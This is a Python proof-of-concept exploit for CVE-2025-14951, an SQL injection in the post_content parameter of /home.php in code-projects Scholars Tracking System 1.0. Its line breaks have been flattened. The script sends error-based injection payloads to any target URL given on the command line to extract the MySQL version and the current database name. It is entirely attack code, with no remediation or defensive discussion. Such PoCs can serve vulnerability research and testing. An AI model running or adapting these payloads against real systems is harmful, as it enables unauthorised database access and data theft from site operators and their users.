CVE-2025-14951 code-projects Scholars Tracking System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14951 SQL Injection PoC # Target: code-projects Scholars Tracking System 1.0 # File: /home.php # Parameter: post_content def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in post_content parameter """ # Construct the malicious request endpoint = f"{target_url}/home.php" # SQL injection payload - extract database version data = { 'post_content': payload } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_database_info(target_url): """ Extract database version information using error-based SQL injection """ # Payload to extract MySQL version payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@version), FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) -- -" print(f"[*] Sending payload to extract database version...") result = exploit_sqli(target_url, payload) print(f"[+] Response:\n{result}") return result def extract_current_database(target_url): """ Extract current database name """ payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) -- -" print(f"[*] Sending payload to extract database name...") result = exploit_sqli(target_url, payload) print(f"[+] Response:\n{result}") return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14951.py <target_url>") print("Example: python cve-2025-14951.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-14951 SQL Injection PoC") print(f"[*] Target: {target}") print(f"[*] Exploiting /home.php post_content parameter\n") extract_database_info(target) print("\n" + "="*50 + "\n") extract_current_database(target)